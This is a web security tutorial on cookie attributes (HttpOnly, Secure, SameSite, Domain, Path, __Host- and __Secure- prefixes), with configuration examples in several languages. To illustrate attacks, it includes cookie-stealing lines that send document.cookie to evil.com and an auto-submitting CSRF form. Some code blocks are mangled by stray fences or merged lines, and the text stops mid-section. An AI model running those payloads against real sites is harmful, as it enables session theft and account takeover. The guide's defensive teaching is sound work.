HTTP

Guide

Cookie Security: HttpOnly, SameSite, and Secure Flags

A comprehensive guide to understanding and implementing secure HTTP cookies to protect against XSS, CSRF, and session hijacking attacks.

24 min read intermediate Try in Playground

TL;DR: Secure cookies with HttpOnly (prevents XSS), Secure (HTTPS only), and SameSite (CSRF protection) attributes. Use __Host- prefix for maximum security on authentication cookies.

HTTP cookies are fundamental to web authentication and session management, but they also represent a critical security vulnerability if not properly configured. Understanding cookie security attributes and best practices is essential for protecting user data and preventing common attacks like XSS, CSRF, and session hijacking.

Introduction

Cookies are small pieces of data that servers send to browsers, which then store and send back with subsequent requests. While cookies enable stateful interactions over the stateless HTTP protocol, they also create security risks because they’re automatically included in requests and can be accessed by JavaScript.

What makes cookies security-critical?

  • They often contain session identifiers that authenticate users
  • They’re automatically sent with every request to their domain
  • They can be accessed, modified, or stolen by malicious scripts
  • They persist across browser sessions unless configured otherwise
  • They can be transmitted across insecure connections if not protected

Common cookie security vulnerabilities:

1. Session hijacking - Attacker steals session cookie
2. Cross-Site Scripting (XSS) - Malicious script reads cookies
3. Cross-Site Request Forgery (CSRF) - Unwanted actions using cookies
4. Man-in-the-Middle (MITM) - Cookies intercepted over HTTP
5. Cookie theft - Cookies accessed from unintended domains

Without proper security attributes, cookies can be exploited to compromise user accounts, steal sensitive data, or perform unauthorized actions.

Without secure cookies (vulnerable):

// On evil.com, attacker injects script via XSS
document.location = 'https://evil.com/steal?cookie=' + document.cookie

// Attacker now has session cookie and can impersonate user
fetch('https://yourbank.com/transfer', {
  method: 'POST',
  credentials: 'include',
  headers: { Cookie: 'session=stolen_cookie_value' },
  body: JSON.stringify({ to: 'attacker', amount: 10000 })
})
```text

**With secure cookies (protected):**

```http
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Strict

This configuration prevents:

  • JavaScript from reading the cookie (HttpOnly)
  • Transmission over HTTP (Secure)
  • Cross-site request forgery (SameSite)

Modern browsers support several security attributes that control how cookies are stored, transmitted, and accessed. Understanding and properly configuring these attributes is crucial for cookie security.

HttpOnly

The HttpOnly attribute prevents JavaScript from accessing cookies through document.cookie, protecting against XSS attacks.

Setting HttpOnly:

Set-Cookie: session=abc123; HttpOnly
```text

**How it works:**

```javascript
// Without HttpOnly
document.cookie // "session=abc123; user_pref=dark_mode"

// With HttpOnly
document.cookie // "user_pref=dark_mode" (session cookie hidden)

When to use:

  • Always for session tokens and authentication cookies
  • Always for any cookie containing sensitive data
  • Never for cookies that JavaScript needs to read (like preferences)

Example attack prevented:

// XSS attack - malicious script injected into page
<script>
  // Without HttpOnly: This succeeds and steals session fetch('https://evil.com/steal?cookie=' +
  document.cookie) // With HttpOnly: Session cookie is not accessible // Only non-HttpOnly cookies
  are exposed
</script>
```text

### Secure

The `Secure` attribute ensures cookies are only transmitted over HTTPS, preventing interception over insecure connections.

**Setting Secure:**

```http
Set-Cookie: session=abc123; Secure

How it works:

HTTP request  → Cookie NOT sent (blocked by browser)
HTTPS request → Cookie sent normally

When to use:

  • Always in production environments
  • Always for authentication and session cookies
  • Required when using SameSite=None
  • Optional in local development over HTTP

Example attack prevented:

User connects to public WiFi at coffee shop

Without Secure attribute:
1. User visits http://example.com
2. Browser sends cookie over HTTP
3. Attacker sniffs network traffic
4. Attacker captures session cookie
5. Attacker uses cookie to impersonate user

With Secure attribute:
1. User visits http://example.com (redirects to HTTPS)
2. Browser only sends cookie over HTTPS (encrypted)
3. Attacker cannot read encrypted traffic
4. Session remains secure

SameSite

The SameSite attribute controls whether cookies are sent with cross-site requests, providing CSRF protection.

SameSite values:

Set-Cookie: session=abc123; SameSite=Strict
Set-Cookie: session=abc123; SameSite=Lax
Set-Cookie: session=abc123; SameSite=None; Secure
```text

**SameSite=Strict:**

Most restrictive. Cookie is only sent with same-site requests.

```javascript
// User on https://app.example.com
fetch('https://api.example.com/data') // Cookie sent (same-site)

// User on https://other-site.com clicks link to example.com
// Cookie NOT sent (cross-site)

Use cases:

  • Banking and financial applications
  • Admin panels
  • Any application where cross-site access is never needed

Limitations:

  • Cookie not sent when navigating from external sites
  • User appears logged out when arriving from search engines or email links

SameSite=Lax (default in modern browsers):

Cookie sent with same-site requests and top-level navigations using safe methods.

// Same-site request - Cookie sent
fetch('https://api.example.com/data')

// Top-level navigation (link click) - Cookie sent
<a href="https://app.example.com/dashboard">Dashboard</a>

// Cross-site POST from form - Cookie NOT sent
<form action="https://app.example.com/delete" method="POST">

// Cross-site fetch/XHR - Cookie NOT sent
fetch('https://app.example.com/api', { method: 'POST' })
```text

**Use cases:**

- Most web applications (good default)
- Sites that need authentication from external links
- Balance between security and usability

**SameSite=None:**

Cookie sent with all cross-site requests. Must be combined with `Secure`.

```http
Set-Cookie: widget_session=xyz789; SameSite=None; Secure

Use cases:

  • Embedded widgets and iframes
  • OAuth and SSO flows
  • Third-party integrations
  • Cross-domain API requests

Example CSRF attack prevented:

<!-- Attacker's site: evil.com -->
<html>
  <body>
    <!-- Malicious form that attempts CSRF -->
    <form action="https://yourbank.com/transfer" method="POST" id="csrf">
      <input type="hidden" name="to" value="attacker" />
      <input type="hidden" name="amount" value="10000" />
    </form>
    <script>
      document.getElementById('csrf').submit()
    </script>
  </body>
</html>
```text

**Without SameSite:**

- Browser sends session cookie with POST request
- Bank processes transfer (thinks it's legitimate user)
- Money transferred to attacker

**With SameSite=Lax or Strict:**

- Browser blocks cookie from being sent cross-site
- Bank sees unauthenticated request
- Transfer rejected

### Domain

The `Domain` attribute specifies which hosts can receive the cookie.

**Setting Domain:**

```http
# Cookie sent to example.com only
Set-Cookie: session=abc123; Domain=example.com

# Cookie sent to example.com and all subdomains
Set-Cookie: session=abc123; Domain=.example.com

How it works:

Cookie: Domain=example.com

Sent to:
✓ example.com
✓ www.example.com
✓ api.example.com
✓ any.subdomain.example.com

NOT sent to:
✗ other-example.com
✗ example.org

Security implications:

# Secure: Specific domain only
Set-Cookie: session=abc123; Domain=app.example.com

# Less secure: All subdomains can access
Set-Cookie: session=abc123; Domain=.example.com
```text

**Best practices:**

- Omit `Domain` to restrict to exact domain (most secure)
- Only include subdomains if absolutely necessary
- Be cautious with subdomains - all subdomains can access the cookie
- Remember that any subdomain can set cookies for parent domain

**Example vulnerability:**

```text
Cookie set with: Domain=.example.com

Scenario:
1. User has session cookie for example.com
2. Attacker compromises subdomain: malicious.example.com
3. Attacker can read/modify session cookie
4. Attacker impersonates user on main domain
```text

### Path

The `Path` attribute specifies the URL path that must exist in the request URL for the cookie to be sent.

**Setting Path:**

```http
Set-Cookie: session=abc123; Path=/
Set-Cookie: admin_session=xyz789; Path=/admin
Set-Cookie: api_token=def456; Path=/api

How it works:

Cookie: Path=/admin

Sent to:
✓ /admin
✓ /admin/users
✓ /admin/settings/profile

NOT sent to:
✗ /
✗ /public
✗ /api/users

Security implications:

# Less secure: Cookie sent to all paths
Set-Cookie: admin_token=secret; Path=/

# More secure: Cookie only sent to admin area
Set-Cookie: admin_token=secret; Path=/admin
```text

**Best practices:**

- Use specific paths to limit cookie exposure
- Set `Path=/` for general session cookies
- Use specific paths like `/admin` for privileged cookies
- Remember that Path provides minimal security (easily bypassed)

**Important note:**
Path is not a security boundary. JavaScript can still access cookies from other paths on the same domain. Use it for organization, not security.

### Max-Age and Expires

These attributes control cookie lifetime and persistence.

**Max-Age (preferred, takes precedence over Expires):**

```http
Set-Cookie: session=abc123; Max-Age=3600        # 1 hour
Set-Cookie: remember=xyz789; Max-Age=2592000    # 30 days
Set-Cookie: temp=abc; Max-Age=0                 # Delete cookie immediately

Expires (older format, still widely supported):

Set-Cookie: session=abc123; Expires=Wed, 21 Oct 2026 07:28:00 GMT
```text

**Session vs Persistent cookies:**

```http
# Session cookie - deleted when browser closes
Set-Cookie: session=abc123; HttpOnly; Secure

# Persistent cookie - survives browser restart
Set-Cookie: remember=xyz789; Max-Age=2592000; HttpOnly; Secure

Security implications:

# High security: Short-lived session cookie
Set-Cookie: bank_session=abc123; Max-Age=900; HttpOnly; Secure; SameSite=Strict
# Expires after 15 minutes

# Moderate security: Longer-lived with "remember me"
Set-Cookie: app_session=xyz789; Max-Age=86400; HttpOnly; Secure; SameSite=Lax
# Expires after 24 hours

# Lower security risk: Non-sensitive preference
Set-Cookie: theme=dark; Max-Age=31536000
# Expires after 1 year
```text

**Best practices:**

- Use shortest lifetime necessary for your use case
- Session cookies for sensitive operations (banking, admin)
- Longer-lived cookies only with user consent ("remember me")
- Always provide a way to invalidate sessions server-side
- Consider idle timeout in addition to absolute timeout

## Common Cookie Attacks

Understanding attack vectors helps you properly configure cookie security.

### Cross-Site Scripting (XSS)

XSS allows attackers to inject malicious scripts that can steal cookies.

**Attack scenario:**

```javascript
// Vulnerable site with XSS
// User input not sanitized: <script>alert('XSS')</script>

// Attacker injects this script
<script>// Steal all cookies fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

How cookies are stolen:

// Without HttpOnly
document.cookie
// Returns: "session=abc123; user_id=42; preferences=dark_mode"

// Attacker sends to their server
new Image().src = 'https://evil.com/log?data=' + encodeURIComponent(document.cookie)
```text

**Protection:**

```http
# HttpOnly prevents JavaScript access
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

# Additional protections
Content-Security-Policy: default-src 'self'; script-src 'self'
X-XSS-Protection: 1; mode=block

Best practices:

  1. Always set HttpOnly on authentication cookies
  2. Sanitize and validate all user input
  3. Use Content Security Policy (CSP)
  4. Escape output in HTML templates
  5. Use modern frameworks with built-in XSS protection

Cross-Site Request Forgery (CSRF)

CSRF tricks users into performing unwanted actions using their authentication cookies.

Attack scenario:

<!-- User logged into bank.com -->
<!-- Visits attacker's site evil.com -->

<html>
  <body>
    <h1>Click here for free prize!</h1>
    <form action="https://bank.com/transfer" method="POST" id="csrf">
      <input type="hidden" name="to" value="attacker" />
      <input type="hidden" name="amount" value="10000" />
    </form>
    <script>
      // Auto-submit form
      document.getElementById('csrf').submit()
    </script>
  </body>
</html>
```text

**Without protection:**

```text
1. User authenticated to bank.com (has session cookie)
2. User visits evil.com
3. Evil.com submits form to bank.com
4. Browser automatically includes session cookie
5. Bank processes transfer (thinks it's legitimate)
6. Money stolen
```text

**Protection with SameSite:**

```http
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

# Browser blocks cookie from being sent cross-site
# Bank sees unauthenticated request
# Transfer rejected

Additional CSRF protections:

// CSRF token in forms
;<form action='/transfer' method='POST'>
  <input type='hidden' name='_csrf' value='random_token_here' />
  <input name='to' value='recipient' />
  <input name='amount' value='100' />
  <button type='submit'>Transfer</button>
</form>

// Server validates token
app.post('/transfer', (req, res) => {
  if (req.body._csrf !== req.session.csrfToken) {
    return res.status(403).json({ error: 'Invalid CSRF token' })
  }
  // Process transfer
})
```text

**Best practices:**

1. Use `SameSite=Lax` or `Strict` for session cookies
2. Implement CSRF tokens for state-changing operations
3. Validate Origin and Referer headers
4. Require re-authentication for sensitive actions
5. Use custom headers for AJAX requests

### Session Hijacking

Attackers steal session cookies to impersonate users.

**Attack vectors:**

**1. Network sniffing (Man-in-the-Middle):**

```text
User connects to http://example.com (no HTTPS)

Attacker on same network:
1. Sniffs network traffic
2. Captures cookie: session=abc123
3. Replays cookie in their browser
4. Gains access to user's account
```text

**Protection:**

```http
# Secure attribute forces HTTPS
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Strict

# Also use HSTS to force HTTPS
Strict-Transport-Security: max-age=31536000; includeSubDomains

2. XSS-based theft:

// Attacker injects script
<script>
  fetch('https://evil.com/steal', {
    method: 'POST',
    body: document.cookie  // Without HttpOnly, this works
  })
</script>
```text

**Protection:**

```http
Set-Cookie: session=abc123; HttpOnly; Secure

3. Session fixation:

Attacker scenario:
1. Attacker gets session ID: session=attacker_known_id
2. Tricks victim into using this session ID
3. Victim logs in (session ID unchanged)
4. Attacker uses known session ID to access victim's account

Protection:

// Regenerate session ID on login
app.post('/login', (req, res) => {
  if (validateCredentials(req.body)) {
    // Regenerate session ID
    req.session.regenerate((err) => {
      req.session.userId = user.id
      res.redirect('/dashboard')
    })
  }
})
```text

**Best practices:**

1. Always use HTTPS in production
2. Set `Secure` attribute on all sensitive cookies
3. Regenerate session IDs after authentication
4. Implement session timeout and idle timeout
5. Bind sessions to additional factors (IP, User-Agent)
6. Provide logout functionality that invalidates sessions

### Cookie Theft via Subdomain Takeover

If an attacker controls a subdomain, they may be able to steal cookies.

**Attack scenario:**

```text
Setup:
- Main app: app.example.com
- Cookie: session=abc123; Domain=.example.com
- Abandoned subdomain: old.example.com

Attack:
1. Attacker claims old.example.com (forgotten/expired)
2. Attacker sets up malicious site on old.example.com
3. User visits old.example.com
4. Browser sends session cookie (Domain=.example.com includes all subdomains)
5. Attacker steals cookie
6. Attacker uses cookie on app.example.com
```text

**Protection:**

```http
# Don't set Domain attribute (most restrictive)
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

# If you must use subdomains, be specific
Set-Cookie: session=abc123; Domain=app.example.com; HttpOnly; Secure

Additional protections:

  1. Regularly audit and remove unused subdomains
  2. Use CAA DNS records to control certificate issuance
  3. Monitor for unauthorized subdomain creation
  4. Use separate domains for untrusted content
  5. Consider cookie prefixes for additional security

Modern browsers support cookie prefixes that enforce additional security constraints.

__Secure- Prefix

Cookies with the __Secure- prefix must be set with the Secure attribute and must be from a secure origin.

Usage:

Set-Cookie: __Secure-session=abc123; Secure; Path=/
```text

**Requirements:**

- Must include `Secure` attribute
- Must be set over HTTPS
- Cannot be set over HTTP

**Rejected examples:**

```http
# Rejected: Missing Secure attribute
Set-Cookie: __Secure-session=abc123; Path=/

# Rejected: Sent over HTTP
HTTP/1.1 200 OK
Set-Cookie: __Secure-session=abc123; Secure; Path=/

Benefits:

// Prevents downgrade attacks
// Even if HTTP is somehow accessed, __Secure- cookies won't be sent
```text

### \_\_Host- Prefix

Cookies with the `__Host-` prefix have the strongest security constraints.

**Usage:**

```http
Set-Cookie: __Host-session=abc123; Secure; Path=/; HttpOnly; SameSite=Strict

Requirements:

  • Must include Secure attribute
  • Must be set over HTTPS
  • Must NOT include Domain attribute (restricts to exact domain)
  • Must have Path=/

Benefits:

# Prevents subdomain attacks
Set-Cookie: __Host-session=abc123; Secure; Path=/

# This cookie can ONLY be:
# - Set by the exact domain (no subdomains)
# - Sent to the exact domain (no subdomains)
# - Transmitted over HTTPS
# - Available on all paths
```text

**Example comparison:**

```http
# Without prefix - vulnerable to subdomain attacks
Set-Cookie: session=abc123; Domain=.example.com; Secure

# With __Host- prefix - protected
Set-Cookie: __Host-session=abc123; Secure; Path=/
# Can only be set by and sent to exact domain

Best practices:

Use __Host- prefix for critical authentication cookies:

Set-Cookie: __Host-session=abc123; Secure; Path=/; HttpOnly; SameSite=Strict; Max-Age=3600
```text

## Secure Cookie Configuration Examples

### Maximum Security (Banking, Healthcare, Admin)

```http
Set-Cookie: __Host-session=abc123; Secure; Path=/; HttpOnly; SameSite=Strict; Max-Age=900

Explanation:

  • __Host- prefix: Strictest domain binding
  • Secure: HTTPS only
  • Path=/: Available on all paths
  • HttpOnly: No JavaScript access
  • SameSite=Strict: No cross-site requests
  • Max-Age=900: 15-minute timeout

Server implementation (Node.js):

app.post('/login', (req, res) => {
  if (validateCredentials(req.body)) {
    const sessionId = generateSecureSessionId()

    res.cookie('__Host-session', sessionId, {
      secure: true,
      httpOnly: true,
      sameSite: 'strict',
      maxAge: 900000, // 15 minutes in milliseconds
      path: '/'
    })

    res.redirect('/dashboard')
  }
})
```text

### High Security (General Web Applications)

```http
Set-Cookie: __Secure-session=abc123; Secure; HttpOnly; SameSite=Lax; Max-Age=86400; Path=/

Explanation:

  • __Secure- prefix: Must be over HTTPS
  • Secure: HTTPS only
  • HttpOnly: No JavaScript access
  • SameSite=Lax: Allows top-level navigation
  • Max-Age=86400: 24-hour timeout
  • Path=/: Available on all paths

Server implementation (Express):

const express = require('express')
const session = require('express-session')

app.use(
  session({
    name: '__Secure-session',
    secret: process.env.SESSION_SECRET,
    cookie: {
      secure: true,
      httpOnly: true,
      sameSite: 'lax',
      maxAge: 86400000 // 24 hours
    },
    resave: false,
    saveUninitialized: false
  })
)
```text

### Cross-Domain Integration (Widgets, OAuth)

```http
Set-Cookie: widget_session=abc123; Secure; HttpOnly; SameSite=None; Max-Age=3600

Explanation:

  • No prefix (needs cross-domain support)
  • Secure: Required with SameSite=None
  • HttpOnly: Prevents JavaScript access
  • SameSite=None: Allows cross-site requests
  • Max-Age=3600: 1-hour timeout

Important: Only use SameSite=None when absolutely necessary for legitimate cross-site functionality.

Server implementation (OAuth callback):

app.get('/oauth/callback', (req, res) => {
  const token = exchangeCodeForToken(req.query.code)

  res.cookie('oauth_token', token, {
    secure: true,
    httpOnly: true,
    sameSite: 'none', // Allows cross-site OAuth flow
    maxAge: 3600000,
    domain: '.example.com' // If needed for subdomains
  })

  res.redirect('/dashboard')
})
```text

### Remember Me Functionality

```http
# Session cookie (short-lived)
Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Strict; Path=/

# Remember me token (long-lived)
Set-Cookie: __Secure-remember=xyz789; Secure; HttpOnly; SameSite=Strict; Max-Age=2592000; Path=/

Server implementation:

app.post('/login', async (req, res) => {
  if (validateCredentials(req.body)) {
    const sessionId = generateSecureSessionId()

    // Session cookie
    res.cookie('__Host-session', sessionId, {
      secure: true,
      httpOnly: true,
      sameSite: 'strict',
      path: '/'
      // No Max-Age = session cookie
    })

    // Remember me token (if checkbox checked)
    if (req.body.rememberMe) {
      const rememberToken = await generateRememberToken(user.id)

      res.cookie('__Secure-remember', rememberToken, {
        secure: true,
        httpOnly: true,
        sameSite: 'strict',
        maxAge: 2592000000, // 30 days
        path: '/'
      })
    }

    res.redirect('/dashboard')
  }
})

// Middleware to restore session from remember token
app.use(async (req, res, next) => {
  if (!req.cookies['__Host-session'] && req.cookies['__Secure-remember']) {
    const userId = await validateRememberToken(req.cookies['__Secure-remember'])
    if (userId) {
      // Create new session
      req.session.regenerate((err) => {
        req.session.userId = userId
        next()
      })
    } else {
      // Invalid token, clear it
      res.clearCookie('__Secure-remember')
      next()
    }
  } else {
    next()
  }
})
```javascript

## Server Implementation Examples

### Node.js (Express)

**Basic secure session:**

```javascript
const express = require('express')
const session = require('express-session')
const app = express()

app.use(
  session({
    name: '__Host-session',
    secret: process.env.SESSION_SECRET,
    cookie: {
      secure: process.env.NODE_ENV === 'production',
      httpOnly: true,
      sameSite: 'strict',
      maxAge: 3600000 // 1 hour
    },
    resave: false,
    saveUninitialized: false
  })
)

Custom cookie with all security attributes:

app.post('/login', (req, res) => {
  if (validateUser(req.body)) {
    // Set secure session cookie
    res.cookie('__Host-session', generateSessionId(), {
      secure: true,
      httpOnly: true,
      sameSite: 'strict',
      maxAge: 3600000,
      path: '/'
    })

    // Set user preferences (less sensitive)
    res.cookie('preferences', JSON.stringify(user.preferences), {
      secure: true,
      sameSite: 'lax',
      maxAge: 31536000000 // 1 year
    })

    res.json({ success: true })
  }
})

// Logout - clear all cookies
app.post('/logout', (req, res) => {
  res.clearCookie('__Host-session', { path: '/' })
  res.clearCookie('preferences')
  req.session.destroy()
  res.redirect('/')
})
```javascript

### Python (Flask)

**Basic secure session:**

```python
from flask import Flask, session, make_response
from datetime import timedelta

app = Flask(__name__)
app.secret_key = os.environ.get('SECRET_KEY')

# Session cookie configuration
app.config.update(
    SESSION_COOKIE_SECURE=True,
    SESSION_COOKIE_HTTPONLY=True,
    SESSION_COOKIE_SAMESITE='Strict',
    SESSION_COOKIE_NAME='__Host-session',
    PERMANENT_SESSION_LIFETIME=timedelta(hours=1)
)

@app.route('/login', methods=['POST'])
def login():
    if validate_credentials(request.form):
        session['user_id'] = user.id
        session.permanent = True
        return redirect('/dashboard')
    return 'Invalid credentials', 401

Custom cookie with security attributes:

from flask import Flask, make_response
from datetime import datetime, timedelta

@app.route('/login', methods=['POST'])
def login():
    if validate_user(request.form):
        response = make_response(redirect('/dashboard'))

        # Secure session cookie
        response.set_cookie(
            '__Host-session',
            value=generate_session_id(),
            secure=True,
            httponly=True,
            samesite='Strict',
            max_age=3600,
            path='/'
        )

        # Remember me token
        if request.form.get('remember_me'):
            response.set_cookie(
                '__Secure-remember',
                value=generate_remember_token(),
                secure=True,
                httponly=True,
                samesite='Strict',
                max_age=2592000,  # 30 days
                path='/'
            )

        return response

@app.route('/logout', methods=['POST'])
def logout():
    response = make_response(redirect('/'))
    response.set_cookie('__Host-session', '', expires=0)
    response.set_cookie('__Secure-remember', '', expires=0)
    return response
```text

### PHP

**Basic secure session:**

```php
<?php
// Start session with secure settings
session_name('__Host-session');
session_set_cookie_params([
    'lifetime' => 3600,
    'path' => '/',
    'domain' => '',
    'secure' => true,
    'httponly' => true,
    'samesite' => 'Strict'
]);
session_start();

// Login
if (validate_credentials($_POST)) {
    session_regenerate_id(true);
    $_SESSION['user_id'] = $user['id'];
    header('Location: /dashboard');
}
?>

Custom cookie with security attributes:

<?php
// Set secure cookie
setcookie(
    '__Host-session',
    $session_id,
    [
        'expires' => time() + 3600,
        'path' => '/',
        'domain' => '',
        'secure' => true,
        'httponly' => true,
        'samesite' => 'Strict'
    ]
);

// Remember me token
if (isset($_POST['remember_me'])) {
    setcookie(
        '__Secure-remember',
        $remember_token,
        [
            'expires' => time() + 2592000, // 30 days
            'path' => '/',
            'domain' => '',
            'secure' => true,
            'httponly' => true,
            'samesite' => 'Strict'
        ]
    );
}

// Logout - delete cookies
setcookie('__Host-session', '', ['expires' => time() - 3600, 'path' => '/']);
setcookie('__Secure-remember', '', ['expires' => time() - 3600, 'path' => '/']);
?>
```javascript

### Java (Spring Boot)

**Application configuration:**

```java
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.session.web.http.CookieSerializer;
import org.springframework.session.web.http.DefaultCookieSerializer;

@Configuration
public class SessionConfig {

    @Bean
    public CookieSerializer cookieSerializer() {
        DefaultCookieSerializer serializer = new DefaultCookieSerializer();
        serializer.setCookieName("__Host-session");
        serializer.setCookiePath("/");
        serializer.setUseSecureCookie(true);
        serializer.setUseHttpOnlyCookie(true);
        serializer.setSameSite("Strict");
        serializer.setCookieMaxAge(3600); // 1 hour
        return serializer;
    }
}

Controller with custom cookies:

import org.springframework.web.bind.annotation.*;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;

@RestController
public class AuthController {

    @PostMapping("/login")
    public ResponseEntity<?> login(
            @RequestBody LoginRequest request,
            HttpServletResponse response) {

        if (validateCredentials(request)) {
            // Session cookie
            Cookie sessionCookie = new Cookie("__Host-session", generateSessionId());
            sessionCookie.setSecure(true);
            sessionCookie.setHttpOnly(true);
            sessionCookie.setPath("/");
            sessionCookie.setMaxAge(3600);
            response.addCookie(sessionCookie);

            // Remember me token
            if (request.isRememberMe()) {
                Cookie rememberCookie = new Cookie("__Secure-remember", generateToken());
                rememberCookie.setSecure(true);
                rememberCookie.setHttpOnly(true);
                rememberCookie.setPath("/");
                rememberCookie.setMaxAge(2592000); // 30 days
                response.addCookie(rememberCookie);
            }

            return ResponseEntity.ok().build();
        }
        return ResponseEntity.status(401).build();
    }

    @PostMapping("/logout")
    public ResponseEntity<?> logout(HttpServletResponse response) {
        Cookie sessionCookie = new Cookie("__Host-session", "");
        sessionCookie.setMaxAge(0);
        sessionCookie.setPath("/");
        response.addCookie(sessionCookie);

        Cookie rememberCookie = new Cookie("__Secure-remember", "");
        rememberCookie.setMaxAge(0);
        rememberCookie.setPath("/");
        response.addCookie(rememberCookie);

        return ResponseEntity.ok().build();
    }
}
```text

### Go

**Basic secure session:**

```go
package main

import (
    "net/http"
    "time"
)

func loginHandler(w http.ResponseWriter, r *http.Request) {
    if validateCredentials(r.FormValue("username"), r.FormValue("password")) {
        // Create secure session cookie
        cookie := &http.Cookie{
            Name:     "__Host-session",
            Value:    generateSessionID(),
            Path:     "/",
            MaxAge:   3600, // 1 hour
            Secure:   true,
            HttpOnly: true,
            SameSite: http.SameSiteStrictMode,
        }
        http.SetCookie(w, cookie)

        http.Redirect(w, r, "/dashboard", http.StatusSeeOther)
    }
}

func logoutHandler(w http.ResponseWriter, r *http.Request) {
    // Delete session cookie
    cookie := &http.Cookie{
        Name:     "__Host-session",
        Value:    "",
        Path:     "/",
        MaxAge:   -1,
        Secure:   true,
        HttpOnly: true,
        SameSite: http.SameSiteStrictMode,
    }
    http.SetCookie(w, cookie)

    http.Redirect(w, r, "/", http.StatusSeeOther)
}

Advanced session management:

package main

import (
    "crypto/rand"
    "encoding/base64"
    "net/http"
    "time"
)

func generateSecureToken() (string, error) {
    b := make([]byte, 32)
    _, err := rand.Read(b)
    if err != nil {
        return "", err
    }
    return base64.URLEncoding.EncodeToString(b), nil
}

func setSecureSessionCookie(w http.ResponseWriter, sessionID string) {
    cookie := &http.Cookie{
        Name:     "__Host-session",
        Value:    sessionID,
        Path:     "/",
        MaxAge:   3600,
        Secure:   true,
        HttpOnly: true,
        SameSite: http.SameSiteStrictMode,
    }
    http.SetCookie(w, cookie)
}

func setRememberMeCookie(w http.ResponseWriter, token string) {
    cookie := &http.Cookie{
        Name:     "__Secure-remember",
        Value:    token,
        Path:     "/",
        MaxAge:   2592000, // 30 days
        Secure:   true,
        HttpOnly: true,
        SameSite: http.SameSiteStrictMode,
    }
    http.SetCookie(w, cookie)
}

func loginHandler(w http.ResponseWriter, r *http.Request) {
    if r.Method != http.MethodPost {
        http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
        return
    }

    username := r.FormValue("username")
    password := r.FormValue("password")
    rememberMe := r.FormValue("remember_me") == "true"

    if validateUser(username, password) {
        sessionID, _ := generateSecureToken()
        setSecureSessionCookie(w, sessionID)

        if rememberMe {
            token, _ := generateSecureToken()
            setRememberMeCookie(w, token)
        }

        http.Redirect(w, r, "/dashboard", http.StatusSeeOther)
    } else {
        http.Error(w, "Invalid credentials", http.StatusUnauthorized)
    }
}
```text

## Real-World Security Scenarios

### Scenario 1: E-commerce Application

**Requirements:**

- User sessions must be highly secure
- Shopping cart should persist across visits
- Remember me functionality for convenience

**Implementation:**

```javascript
// Session cookie - short-lived, strict security
res.cookie('__Host-session', sessionId, {
  secure: true,
  httpOnly: true,
  sameSite: 'strict',
  maxAge: 1800000 // 30 minutes
})

// Shopping cart - longer-lived, non-sensitive
res.cookie('__Secure-cart', cartId, {
  secure: true,
  httpOnly: true,
  sameSite: 'lax',
  maxAge: 604800000 // 7 days
})

// Remember me - long-lived, validated server-side
res.cookie('__Secure-remember', rememberToken, {
  secure: true,
  httpOnly: true,
  sameSite: 'strict',
  maxAge: 2592000000 // 30 days
})

Scenario 2: Banking Application

Requirements:

  • Maximum security
  • Short session timeout
  • No cross-site requests
  • Frequent re-authentication

Implementation:

// Ultra-secure session configuration
res.cookie('__Host-session', sessionId, {
  secure: true,
  httpOnly: true,
  sameSite: 'strict',
  maxAge: 600000 // 10 minutes only
})

// Sensitive action requires fresh authentication
app.post('/transfer', requireRecentAuth, (req, res) => {
  const lastAuthTime = req.session.lastAuthTime
  const fiveMinutesAgo = Date.now() - 300000

  if (lastAuthTime < fiveMinutesAgo) {
    return res.status(403).json({
      error: 'Please re-authenticate for this action'
    })
  }

  // Process transfer
})

// Re-authentication updates timestamp
app.post('/re-auth', (req, res) => {
  if (validatePassword(req.body.password)) {
    req.session.lastAuthTime = Date.now()
    res.json({ success: true })
  }
})
```javascript

### Scenario 3: Multi-Domain SSO

**Requirements:**

- Single sign-on across subdomains
- Secure token exchange
- Support for multiple applications

**Implementation:**

```javascript
// Central auth domain: auth.example.com
app.post('/login', (req, res) => {
  if (validateCredentials(req.body)) {
    // Master session on auth domain
    res.cookie('__Host-auth-session', masterSessionId, {
      secure: true,
      httpOnly: true,
      sameSite: 'strict',
      maxAge: 3600000
    })

    // SSO token for subdomain apps
    const ssoToken = generateSSOToken(user.id)

    // Redirect to app with token
    res.redirect(`https://app.example.com/sso?token=${ssoToken}`)
  }
})

// Application domain: app.example.com
app.get('/sso', async (req, res) => {
  const ssoToken = req.query.token

  // Validate token with auth service
  const userId = await validateSSOToken(ssoToken)

  if (userId) {
    // Create session on app domain
    res.cookie('__Host-app-session', generateSessionId(), {
      secure: true,
      httpOnly: true,
      sameSite: 'strict',
      maxAge: 3600000
    })

    res.redirect('/dashboard')
  }
})

Scenario 4: Embedded Widget

Requirements:

  • Widget embedded in third-party sites
  • Cross-origin requests necessary
  • Minimal security compromise

Implementation:

// Widget must use SameSite=None
app.post('/widget/init', (req, res) => {
  res.cookie('widget_session', sessionId, {
    secure: true,
    httpOnly: true,
    sameSite: 'none', // Required for cross-origin
    maxAge: 3600000
  })

  res.json({ widgetId: 'abc123' })
})

// Additional security measures
app.use((req, res, next) => {
  // Validate origin against whitelist
  const origin = req.headers.origin
  const allowedOrigins = getAllowedWidgetOrigins()

  if (!allowedOrigins.includes(origin)) {
    return res.status(403).json({ error: 'Origin not allowed' })
  }

  // Add CORS headers
  res.header('Access-Control-Allow-Origin', origin)
  res.header('Access-Control-Allow-Credentials', 'true')

  next()
})
```text

## Troubleshooting Common Cookie Security Issues

### Issue 1: Cookies Not Being Sent

**Symptoms:**

- Session appears lost on every request
- User logged out immediately after login
- Cookies visible in DevTools but not sent

**Common causes and solutions:**

**Cause 1: Missing Secure attribute on HTTPS:**

```http
# Wrong: Cookie set without Secure on HTTPS site
Set-Cookie: session=abc123; HttpOnly

# Right: Include Secure for HTTPS
Set-Cookie: session=abc123; Secure; HttpOnly

Cause 2: SameSite too restrictive:

# Problem: SameSite=Strict blocks navigation from external sites
Set-Cookie: session=abc123; SameSite=Strict

# Solution: Use Lax for general applications
Set-Cookie: session=abc123; SameSite=Lax
```text

**Cause 3: Domain mismatch:**

```http
